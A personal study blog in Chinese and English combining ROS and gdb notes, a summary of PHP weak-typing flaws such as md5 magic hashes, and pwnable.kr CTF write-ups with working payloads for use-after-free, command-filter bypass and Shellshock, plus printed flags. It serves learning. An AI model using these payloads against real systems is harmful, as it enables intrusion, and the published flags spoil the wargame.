ROS study note

You can choose any editor you like to implement you ROS project. There are some official IDE configuration for ROS : http://wiki.ros.org/IDEs

I prefer using VIM. There is an VIM plugin named rosvim we can use. To install it:

(I use spf13-vim so it uses vundle to manage VIM plugin)

$ echo Bundle \'taketwo/vim-ros\' >> ~/.vimrc.bundles.local
$ vim +BundleInstall! +BundleClean +q

When I run roscore (ROS master) on the sensor, then I try to run “rosnode echo rosout” to print the information of the rosout. It show “Couldn’t find an AF_INET address for “. So we should set the ROS_IP on our host like “export ROS_IP=169.254.10.169”.

 

gdb命令笔记

编译的时候: -g

开始调试:gdb [-tui] test

设置断点:(gdb) breakpoint test.c:123 or  (gdb) b main

运行程序(后面可以跟参数):(gdb) run [arg1 arg2]

清除断点:(gdb) clear

跟踪堆栈:(gdb) where

打印参数:(gdb) print f.BlockType

用16进制打印:(gdb) print/x f.BlockType

单步调试(不进入函数内部):(gdb) next or (gdb) n

单步调试(进入函数内部):(gdb) step or (gdb) s

在每个命令后都显示参数:(gdb) display f.BlockType

设定参数:(gdb) set f.BlockType=0

继续运行:(gdb) cont

推出:(gdb) quit

PHP弱类型漏洞总结

首先说下强弱类型,根据维基百科的定义:

In computer programming, programming languages are often colloquially classified as strongly typed or weakly typed (loosely typed). These terms do not have a precise definition, but in general, a strongly typed language is more likely to generate an error or refuse to compile if the argument passed to a function does not closely match the expected type. On the other hand, a very weakly typed language may produce unpredictable results or may perform implicit type conversion.

对于强弱类型,并没有明确的定义,但是可以通过函数传参进行判断:在某个编程语言里面,给某个函数传了一个不是所需类型的参数,如果编译器报错了,那么可以认为它是强类型语言(strongly typed),反之则认为是弱类型语言(weakly typed)。

这里我们先不直接下结论说PHP是什么类型的(当然大家都知道了),我们按照维基百科的标准来测试一下:

<?php $a = "string"; function test($b) { $b = $b + 1; echo $b; } test($a); ?>

最后的结果是在屏幕上输出1,并没有报错,所以PHP是弱类型语言。

弱类型语言在使用上更为方便快捷,但是同样也带来了一些弊端,也就是这篇文章要总结的PHP弱类型导致的漏洞:

1、使用松散比较“==”

(1)$a=null;$b=flase ;

(2)$a=”;$b=null;

(3)$a=’0′;$b=0;

(4)$a=’abcdefg’;$b=0;

(5)$a=’1abcdefg’;$b=1;

(6)$a=’0e391845′;$b=’0e1948284′;

(7)$a=’0x1240′;$b=123456;

以上这些当我们用$a==$b进行比较时,都会返回true,其中(6)中例如0e\b+这种形式的都会认为是0,所以返回true,这点特性在后面md5()中也会体现,(7)中0x\b+ PHP会认为是16进制,等于10进制的123456.

 

2、switch() 函数自动转换

在使用switch函数时,switch会把传入的参数经过intval处理,这样例如“0euqie”就会变成0,“1eidue”就会变成1,这样会导致运行错误的条件结果

 

3、md5()

md5函数在PHP中有两个问题,第一个问题我们前面提到型如0e\b+类型的变量都会认为相等,这样就导致了两个变量它们本身的值不相同,但是经过md5返回的哈希值都是0e\b+类型的,结果变成了“相等”的。例如在wargame.kr里面有一题:

<?php
    if (isset($_GET['view-source'])) {
         show_source(__FILE__);
         exit();
    }

    if (isset($_GET['v1']) && isset($_GET['v2'])) {
        sleep(3); // anti brute force

        $chk = true;
        $v1 = $_GET['v1'];
        $v2 = $_GET['v2'];

        if (!ctype_alpha($v1)) {$chk = false;}
        if (!is_numeric($v2) ) {$chk = false;}
        if (md5($v1) != md5($v2)) {$chk = false;}

        if ($chk){
            include("../lib.php");
            echo "Congratulations! FLAG is : ".auth_code("md5_compare");
        } else {
            echo "Wrong...";
        }
    }
?>
<br />
<form method="GET">
    VALUE 1 : <input type="text" name="v1" /><br />
    VALUE 2 : <input type="text" name="v2" /><br />
    <input type="submit" value="chk" />
</form>
<br />
<a href="?view-source">view-source</a>

经过测试,我们发现:

    $ echo -n 240610708 | md5sum
    0e462097431906509019562988736854  -
    $ echo -n QNKCDZO | md5sum
    0e830400451993494058024219903391  -
    $ echo -n aabg7XSs | md5sum
    0e087386482136013740957780965295  -

这三组最后生成的md5都是0e\b+形式的,所以我们最后构造v1=QNKCDZO 和 v2=240610708就能成功绕过判断

另外一个就是:PHP手册中的md5()函数的描述是string md5 ( string $str [, bool $raw_output = false ] ),md5()中的需要是一个string类型的参数。但是当你传递一个array时,md5()不会报错,知识会无法正确地求出array的md5值,这样就会导致任意2个array的md5值都会相等。

$array1[] = array(
"foo" => "bar",
"bar" => "foo",
);
$array2 = array("foo", "bar", "hello", "world");
var_dump(md5($array1)==var_dump($array2)); //true

 

4、in_array()

在PHP手册中,in_array()函数的解释是bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ),如果strict参数没有提供,那么in_array就会使用松散比较来判断$needle是否在$haystack中。当strince的值为true时,in_array()会比较needls的类型和haystack中的类型是否相同。

$array=[0,1,2,'3'];
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true

可以看到上面的情况返回的都是true,因为’abc’会转换为0,’1bc’转换为1。

array_search()与in_array()也是一样的问题

pwnable.kr-uaf

题目描述:

Mommy, what is Use After Free bug?

ssh [email protected] -p2222 (pw:guest)

根据题目描述我们知道该题考察UAF(use after free)漏洞,关于UAF,简单说下就是内存地址在free后并没有被销毁,下次为相同的结构类型分配大小类似的空间时,之前的内存空间会被重新使用,如果第二次的指针能够被用户所控制,就造成了UAF漏洞。然后有些基础知识(转自:http://blog.csdn.net/qq_20307987/article/details/51511230):

 

1

UAF:引用一段被释放的内存可导致程序崩溃,或处理非预期数值,或执行无干指令。使用被释放的内存可带来诸多不利后果,根据具体实例和缺陷发生时机,轻则导致程序合法数据被破坏,重则可执行任意指令。

2

UAF错误的原因:

(1)导致程序出错和发生异常的各种条件

(2)程序负责释放内存的指令发生混乱

其实简单来说就是因为分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。(这个指针可以称为恶性迷途指针)

3

UAF漏洞的利用:

(1)先搞出来一个迷途指针

(2)精心构造数据填充被释放的内存区域

(3)再次使用该指针,让填充的数据使eip发生跳转。

4

在填充的阶段要考虑系统的内存分配机制,这里介绍一下SLUB

SLUB

对对象类型没有限制,两个对象只要大小差不多就可以重用同一块内存,而不在乎类型是否相同。样的话,同一个笼子既可以放鸡,又可以放鸭。也就是说我们释放掉sock对象A以后马上再创建对象B,只要A和B大小相同(不在乎B的类型),那么B就极有可能重用A的内存。SLAB差不多,只不过要求类型也要相同。

既然B可以为任意对象类型,那我们当然希望选择一个用起来顺手的对象类型。至少要符合以下2个条件:

用户可以控制该对象的大小

用户空间可以对该对象写入数据

如果碰巧这块问题内存新分配的数据是比如C++中的类,那这块内存堆对上可能散落着各种函数指针,只要用shellcode的地址覆盖其中一个函数指针,就能够达成执行任意指令。

 

5

malloc函数做了那些事情。

大于512字节的请求,是纯粹的最佳分配,通常取决于FIFO,就是最近使用过的。

小于64字节的请求,这是一个缓存分配器,保持一个快速的再生池块。

在这个两者之间的,对于大的和小的请求的组合,做的最好的是通过尝试,找到满足两个目标的最好的。

对于特别大的字节,大于128KB,如果支持的话,依赖于系统内存映射设备。

 

6

虚函数,一旦一个类有虚函数,编译器会为这个类建立一张vtable。子类继承父类vtable中所有项,当子类有同名函数时,修改vtable同名函数地址,改为指向子类的函数地址,子类有新的虚函数时,在vtable中添加。记住,私有函数无法继承,但如果私有函数是虚函数,vtable中会有相应的函数地址,所有子类可以通过手段得到父类的虚私有函数。

 

7

vptr每个对象都会有一个,而vptable是每个类有一个

vptr指向vtable

一个类中就算有多个虚函数,也只有一个vptr

做多重继承的时候,继承了多个父类,就会有多个vptr

 

8

虚函数表的结构:它是一个函数指针表,每一个表项都指向一个函数。任何一个包含至少一个虚函数的类都会有这样一张表。需要注意的是vtable只包含虚函数的指针,没有函数体。实现上是一个函数指针的数组。虚函数表既有继承性又有多态性。每个派生类的vtable继承了它各个基类的vtable,如果基类vtable中包含某一项,则其派生类的vtable中也将包含同样的一项,但是两项的值可能不同。如果派生类覆写(override)了该项对应的虚函数,则派生类vtable的该项指向覆写后的虚函数,没有覆写的话,则沿用基类的值。

每一个类只有唯一的一个vtable,不是每个对象都有一个vtable,恰恰是每个同一个类的对象都有一个指针,这个指针指向该类的vtable(当然,前提是这个类包含虚函数)。那么,每个对象只额外增加了一个指针的大小,一般说来是4字节。

在类对象的内存布局中,首先是该类的vtable指针,然后才是对象数据。

在通过对象指针调用一个虚函数时,编译器生成的代码将先获取对象类的vtable指针,然后调用vtable中对应的项。对于通过对象指针调用的情况,在编译期间无法确定指针指向的是基类对象还是派生类对象,或者是哪个派生类的对象。但是在运行期间执行到调用语句时,这一点已经确定,编译后的调用代码能够根据具体对象获取正确的vtable,调用正确的虚函数,从而实现多态性。

我们看下uaf.cpp的代码:

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
 virtual void give_shell(){
 system("/bin/sh");
 }
protected:
 int age;
 string name;
public:
 virtual void introduce(){
 cout << "My name is " << name << endl;
 cout << "I am " << age << " years old" << endl;
 }
};

class Man: public Human{
public:
 Man(string name, int age){
 this->name = name;
 this->age = age;
 }
 virtual void introduce(){
 Human::introduce();
 cout << "I am a nice guy!" << endl;
 }
};

class Woman: public Human{
public:
 Woman(string name, int age){
 this->name = name;
 this->age = age;
 }
 virtual void introduce(){
 Human::introduce();
 cout << "I am a cute girl!" << endl;
 }
};

int main(int argc, char* argv[]){
 Human* m = new Man("Jack", 25);
 Human* w = new Woman("Jill", 21);

 size_t len;
 char* data;
 unsigned int op;
 while(1){
 cout << "1. use\n2. after\n3. free\n";
 cin >> op;

 switch(op){
 case 1:
 m->introduce();
 w->introduce();
 break;
 case 2:
 len = atoi(argv[1]);
 data = new char[len];
 read(open(argv[2], O_RDONLY), data, len);
 cout << "your data is allocated" << endl;
 break;
 case 3:
 delete m;
 delete w;
 break;
 default:
 break;
 }
 }

 return 0; 
}

这里我们看到有一个父类 human,两个子类man和woman,human中有两个虚函数,giv_shell 和 introduce,根据前面的基础知识,这里的虚函数都存在vtable中,只不过man和woman中的introduce都分别自己实现了,所以子类中introduce的地址不同,但是give_shell的地址都与父类的地址相同。在main函数中,我们看到分别new了man和woman两个对象,在IDA中我们可以看到新的对象的大小都是24个字节,我们可以看下这篇文章:http://www.cnblogs.com/bizhu/archive/2012/09/25/2701691.html, 类的对象所占内存空间大小其实和成员变量的大小是相同的,因为man和woman的成员变量相同,所以他们所占的内存空间都是相同的,这里为我们UAF创造了条件。

我们看下main三个分支的流程:

程序流程是根据输入数字跳转到不同的地方执行

1 调用两个类的函数

2 分配data空间,注意用的时New,从文件名为argv[2]中读取长度为argv[1]的字符到data部分。

3 释放对象

这里如果我们释放对象,然后再去调用,这里会把指针置空然后又引用了,导致这里的指针可以被我们控制,这里arv[]的内容也是通过我们的输入而控制的。所以这里利用的思路就是,先向文件中写入give_shell的地址,然后控制指针指向那个地址即可。

那么如何控制指针呢?前面我们提到了vtable,我们从vtable中获取give_shell的地址替换introduce的地址,然后我们再执行1时,实际执行的是give_shell,因为ssh连接后当前目录不可写,我们在/tmp/下新建文件uafpoc,文件内容为vtable地址-8,因为在调用的时候指针会指向eax+8,所以IDA中我们看到vtable的地址为:0x401570,所以最终我们的payload为:

[email protected]:~$ python -c “print ‘\x68\x15\x40\x00\x00\x00\x00\x00′” > /tmp/uafpoc
[email protected]:~$ ./uaf 24 “/tmp/uafpoc”
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
yay_f1ag_aft3r_pwning

这里需要注意下free的顺序是先free的m,后free的w,因此在分配内存的时候优先分配到后释放的w,因此需要先申请一次空间,将w分配出去,再开一次,就能分配到m了

最终的flag为:

yay_f1ag_aft3r_pwning

pwnable.kr-cmd2

题目描述:

Daddy bought me a system command shell.
but he put some filters to prevent me from playing with it without his permission…
but I wanna play anytime I want!

ssh [email protected] -p2222 (pw:flag of cmd1)

这题ssh的登陆密码是cmd1的flag,登陆后查看cmd2.c的源代码:

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
 int r=0;
 r += strstr(cmd, "=")!=0;
 r += strstr(cmd, "PATH")!=0;
 r += strstr(cmd, "export")!=0;
 r += strstr(cmd, "/")!=0;
 r += strstr(cmd, "`")!=0;
 r += strstr(cmd, "flag")!=0;
 return r;
}

extern char** environ;
void delete_env(){
 char** p;
 for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
 delete_env();
 putenv("PATH=/no_command_execution_until_you_become_a_hacker");
 if(filter(argv[1])) return 0;
 printf("%s\n", argv[1]);
 system( argv[1] );
 return 0;
}

我们看到相比cmd1还多过滤了“/”,所以这里我们需要绕过这个限制,这里有多种方法可以绕过,经过测试我们发现通过cmd2中的system可以直接执行echo,但是其他的命令都需要绝对路径才行,也就是例如whoami需要”/bin/whoami”,这样会出现”/“。这里利用echo进行绕过:

把所有的字符经过8进制编码:

from pwn import *
cmd = "/bin/cat flag"
print "\\"+"\\".join([oct(i) for i in ordlist(cmd)])

然后得到编码后的字符串,最后构造payload:

[email protected]:~$ ./cmd2 ‘$(echo “\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147”)’
$(echo “\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147”)
FuN_w1th_5h3ll_v4riabl3s_haha

可以成功得到flag:

FuN_w1th_5h3ll_v4riabl3s_haha

pwnable.kr-cmd1

题目描述:

Mommy! what is PATH environment in Linux?

ssh [email protected] -p2222 (pw:guest)

cmd1.c的源码为:

#include &lt;stdio.h&gt;
#include &lt;string.h&gt;

int filter(char* cmd){
 int r=0;
 r += strstr(cmd, "flag")!=0;
 r += strstr(cmd, "sh")!=0;
 r += strstr(cmd, "tmp")!=0;
 return r;
}
int main(int argc, char* argv[], char** envp){
 putenv("PATH=/fuckyouverymuch");
 if(filter(argv[1])) return 0;
 system( argv[1] );
 return 0;
}

看起来过滤了flag,sh,tmp,没有关系,通过shell下面指令拼接可以绕过:

“/bin/cat ‘fl”ag'”

[email protected]:~$ ./cmd1 “/bin/cat ‘fl”ag'”
mommy now I get what PATH environment is for 🙂

所以最终的flag为:

mommy now I get what PATH environment is for 🙂

 

这里更新一种方法:

[email protected]:~$ ls
cmd1 cmd1.c flag
[email protected]:~$ mkdir /tmp/cmd1
[email protected]:~$ cd /tmp/cmd1
[email protected]:/tmp/cmd1$ ln -s /home/cmd1/cmd1 cmd1
[email protected]:/tmp/cmd1$ ls
cmd1
[email protected]:/tmp/cmd1$ ln -s /home/cmd1/flag f
[email protected]:/tmp/cmd1$ ./cmd1 “/bin/cat f”
mommy now I get what PATH environment is for 🙂

在/tmp下新建ln,这里就可以绕过对flag的过滤

pwnable.kr-lotto

题目描述:

Mommy! I made a lotto program for my homework.
do you want to play?
ssh [email protected] -p2222 (pw:guest)

看下源码,是个简易的lotto系统,输入6个字符,与系统/dev/urandom生成的6个字符进行比较,如果相同的话就中奖了,但是在检查的地方代码出现了问题:

int match = 0, j = 0;
	for(i=0; i<6; i++){
		for(j=0; j<6; j++){
			if(lotto[i] == submit[j]){
				match++;
			}
		}
	}

我们可以看到这里把输入的submit的每个字节都与生成的lotto的每个字节进行了比较,这里如果我们submit提交的都是同一个字节,只要lotto里面出现一次,match的值就为6,会成功返回flag,所以这里我们尝试每次都输入#######,也就是6个35:

Submit your 6 lotto bytes : ######
Lotto Start!
bad luck…
– Select Menu –
1. Play Lotto
2. Help
3. Exit
1
Submit your 6 lotto bytes : ######
Lotto Start!
bad luck…
– Select Menu –
1. Play Lotto
2. Help
3. Exit
1
Submit your 6 lotto bytes : ######
Lotto Start!
sorry mom… I FORGOT to check duplicate numbers… 🙁
– Select Menu –
1. Play Lotto
2. Help
3. Exit

大概尝试了三次之后成功获得了flag:

sorry mom… I FORGOT to check duplicate numbers… 🙁

pwnable.kr-blackjack

题目描述:

Hey! check out this C implementation of blackjack game!
I found it online
* http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html

I like to give my flags to millionares.
how much money you got?
Running at : nc pwnable.kr 9009

看了下源码,就是个blackjack(21点)游戏,本还以为是需要自己写个机器人,过关的要求的是millionaire(100万),结果黑盒就过了,过程很简单,在投注的时候输了一个很大的数,第一次没有通过,要求重新输入,然后再输一次,并赢了这局就可以了。

看下源码,很容易发现有问题的地方:

int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d", &bet);
 
 if (bet > cash) //If player tries to bet more money than player has
 {
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;
 }
 else return bet;
} // End Function

这里if应该改成while,如果是if的话,这里只做了一次验证,第二次输入的bet并没有验证:

这样成功获得了flag:

YaY_I_AM_A_MILLIONARE_LOL
Cash: $727380468
——-
|S |
| 9 |
| S|
——-

Your Total is 9

The Dealer Has a Total of 10

flag是:

YaY_I_AM_A_MILLIONARE_LOL

pwnable.kr-coin1

题目描述:

Mommy, I wanna play a game!
(if your network response time is too slow, try nc 0 9007 inside pwnable.kr server)

Running at : nc pwnable.kr 9007

运行连接后发现是个小游戏:

—————————————————
– Shall we play a game? –
—————————————————

You have given some gold coins in your hand
however, there is one counterfeit coin among them
counterfeit coin looks exactly same as real coin
however, its weight is different from real one
real coin weighs 10, counterfeit coin weighes 9
help me to find the counterfeit coin with a scale
if you find 100 counterfeit coins, you will get reward 🙂
FYI, you have 30 seconds.

– How to play –
1. you get a number of coins (N) and number of chances (C)
2. then you specify a set of index numbers of coins to be weighed
3. you get the weight information
4. 2~3 repeats C time, then you give the answer

– Example –
[Server] N=4 C=2 # find counterfeit among 4 coins with 2 trial
[Client] 0 1 # weigh first and second coin
[Server] 20 # scale result : 20
[Client] 3 # weigh fourth coin
[Server] 10 # scale result : 10
[Client] 2 # counterfeit coin is third!
[Server] Correct!

– Ready? starting in 3 sec… –

需要在C步内找到N个coin中那个假的coin,我们发现N<=2^C,所以直接使用二分法就好了,由于本地跑程序的话延迟太高,无法在30秒内跑完程序,所以我们使用之前其他题目的ssh,在tmp目录下运行我们的程序,最后的脚本为:

import socket
import re

HOST = '0.0.0.0'
PORT = 9007
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
data = s.recv(2048)
#print data
while 1:
 data = s.recv(1024)
 #print data
 if(data.find("=")):
 N = re.findall(r'(\w*[0-9]+)\w*',data)
 a = int(N[0])
 b = int(N[1])
 start = 0
 end = a
 while(1):
 half = start + (end - start)/2 + (end - start)%2
 string = ""
 for i in range(start,half):
 string += str(i) + ' '
 string = string + "\n"
 #print string
 s.send(string)
 data = s.recv(1024)
 if(data.find("Correct!") == 0):
 print data
 break
 Rev_Num = int(data)
 #print start,"|",half,"|",end
 Sum = (half -start)*10
 #print Rev_Num, Sum
 if( Rev_Num < Sum):
 end = half
 else:
 start = half

s.close()

成功找到100个coin后,服务器返回flag:

b1NaRy_S34rch1nG_1s_3asy_p3

pwnable.kr-shellshock

题目描述:

Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure 🙂
ssh [email protected] -p2222 (pw:guest)

shellshock.c的源码为:

#include <stdio.h>
int main(){
	setresuid(getegid(), getegid(), getegid());
	setresgid(getegid(), getegid(), getegid());
	system("/home/shellshock/bash -c 'echo shock_me'");
	return 0;
}

顾名思义了,这题就是需要利用shellshock漏洞来获取flag,具体的讲解参见:http://www.myhack58.com/Article/html/3/62/2015/60779.htm

所以我们构造payload:export foo='() { :; }; cat flag‘直接获取flag,或者export foo='() { :; }; bash’切换成shellshock2用户的bash,然后再执行命令获取flag:

[email protected]:/home/shellshock$ export foo='() { :; }; bash’
[email protected]:/home/shellshock$ ./shellshock
[email protected]:/home/shellshock$
[email protected]:/home/shellshock$
[email protected]:/home/shellshock$ cat flag
only if I knew CVE-2014-6271 ten years ago..!!
[email protected]:/home/shellshock$ cat flag
only if I knew CVE-2014-6271 ten years ago..!!
[email protected]:/home/shellshock$ whoami
shellshock
[email protected]:/home/shellshock$ cat flag
only if I knew CVE-2014-6271 ten years ago..!!
[email protected]:/home/shellshock$ id
uid=1048(shellshock) gid=1049(shellshock2) groups=1048(shellshock)

最后的flag为:only if I knew CVE-2014-6271 ten years ago..!!